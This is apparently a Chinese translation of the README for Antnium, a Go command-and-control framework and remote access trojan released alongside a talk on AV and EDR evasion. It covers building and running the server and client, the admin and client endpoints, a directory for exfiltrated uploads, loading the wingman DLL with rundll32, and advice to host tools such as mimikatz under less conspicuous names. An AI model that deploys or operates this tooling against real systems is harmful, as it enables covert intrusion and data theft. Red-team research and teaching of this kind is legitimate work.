Anti Tanium
一个用 Go 编写的 C2 框架和 RAT。
此源代码作为我的演讲 开发你自己的 RAT - AV 与 EDR 防御 的参考公开发布。 Antnium 旨在满足我自己的需求,而不是他人的需求。它适用于我所执行的攻击活动,但未必是一个通用型 C2 框架。
有两个组件:
下载并安装 go(以及 git)。
我们在此使用 127.0.0.1:8080 作为 C2 域名(因为我们在同一主机上启动 client.exe 和 server.exe,使用 localhost)。这也是默认值,无需更改。
在 campaign/campaign.go 中查看 campaign:
serverUrl = "http://127.0.0.1:8080"在 Windows 上构建:
> .\makewin.bat deploy
在 Linux 上构建:
$ make deploy
启动 server 和 client:
cd build\
.\server.exe
.\static\client.exe
启动 server.exe 后,在浏览器中打开以下 URL 以访问 WebUI:
http://localhost:8080/webui/
static/:工具的公共目录将你想要在其他机器上下载的文件放在那里,比如 client.exe、wingman.exe。
以及你的工具,例如 mimikatz.exe 或 seatbelt.exe。但请使用更不起眼的文件名。
这些文件也可以通过 /secure API 获取,请求时使用加密文件名,响应为加密+base64 编码的文件。
通过 remote 执行选项(通过 /secure 访问)可以执行 dotNet 文件。
upload/:用于数据外传的私有目录客户端上传的文件将存储在此处。
安装 Go:
apt install golang gcc-mingw-w64编译 client.exe 和 server.exe:
> .\makewin.bat deploy
这将创建:
启动 server.exe:
> cd build
> .\server.exe
Antnium 0.1
Loaded 0 packets from db.packets.json
Loaded 0 clients from db.clients.json
Periodic DB dump enabled
Starting webserver on 127.0.0.1:8080
启动 client.exe:
> .\build\static\client.exe
Antnium 0.1
time="2021-09-02T21:48:16+02:00" level=info msg="UpstreamHttp: Use WS"
time="2021-09-02T21:48:16+02:00" level=info msg="Connecting to WS succeeded"
time="2021-09-02T21:48:16+02:00" level=info msg=Send 1_computerId=c4oil02sdke2sp3nfngg 2_packetId=0 3_downstreamId=client 4_packetType=ping 5_arguments="map[]" 6_response=...
time="2021-09-02T21:48:16+02:00" level=info msg=Send 1_computerId=c4oil02sdke2sp3nfngg 2_packetId=0 3_downstreamId=client 4_packetType=ping 5_arguments="map[]" 6_response=...
从 Linux 交叉编译 Windows 客户端是可行的,但需要一些手动 GO gcc 命令行技巧,因为存在一些 Windows 依赖项。如果无法立即正常工作,请在 Windows 本身上编译 Windows 客户端(makewin.bat client)。
pkg/campaign/campaign.go 将编译后的 client.exe 与特定的 server.exe 关联起来,从而形成一个 campaign。
每个 campaign 拥有独立的加密和认证密钥,这些密钥在 server 和 client 之间共享。
type Campaign struct {
ApiKey string // Key used to access client facing REST
EncKey []byte // Key used to encrypt packets between server/client
ServerUrl string // URL of the server, as viewed from the clients
}
管理 UI / 操作员密钥位于 pkt/server/config.go:
type Config struct {
AdminApiKey string
}
请注意,ServerUrl 是客户端与服务器进行所有交互时使用的 URL。
它是公开的服务器 URL,例如 http://totallynotmalware.ch。实际的 server.exe 可能位于反向代理之后,并通过 server.exe --listenaddr 127.0.0.1:8080 启动(因此 ServerUrl 不一定等于 listenaddr)。
首次连接到服务器时,你需要先访问并配置 UI。
Angular UI 文件是公开可访问的。假设 ServerUrl="http://localhost:8080" 且 listenaddr=0.0.0.0:8080。你可以:
http://localhost:8080/webuing serve,然后在浏览器中打开 http://localhost:4200在浏览器中连接 UI 时,你需要先配置服务器 IP 及其密码:
已在以下环境测试:
在 Windows 上编译:
> .\makewin.bat client
将其部署到你的目标上。
已在以下环境测试:
在 Linux 上:
$ make server
$ mkdir -p static upload
$ ./server --listenaddr 0.0.0.0:8080
结果为 server.exe。请确保在包含或预期包含以下内容的目录中运行它:
它将在该端口上启动一个 REST 服务器,提供:
/:面向客户端的 REST/ws:面向客户端的 Websocket/admin:管理员接口的 REST(添加数据包、获取客户端)/adminws:管理员接口的 Websocket(推送数据包)/webui:管理员接口的 HTML 文件(Angular 源码和 HTML,访问 REST 和 Websocket)在它前面放置一个反向代理(确保它支持 websockets!)或转发端口。
对于手动代理,请使用完整的 HTTP URL:
client.exe -proxy http://proxy:8080
或通过环境变量:
export PROXY http://localhost:8080
./client
Wingman 基本上就是 Client,但不直接连接 C2。
它可以连接到 localhost:50000 上现有的客户端(如果 Campaign.AutoStartDownstreams 为 false,请确保该客户端已启动)
连接到 localhost 的 50000 端口:
wingman.exe
或者使用 rundll32.exe 加载 dll(使用 system32 中的 64 位 rundll32 版本,而不是 C:\Windows\SysWOW64\rundll32.exe 中的 32 位版本):
C:\Windows\System32\rundll32.exe .\wingman.dll,Start
它将作为下游 net#0 出现。
go test ./...
可能仍存在竞态条件。如果失败一次,只需再次执行即可。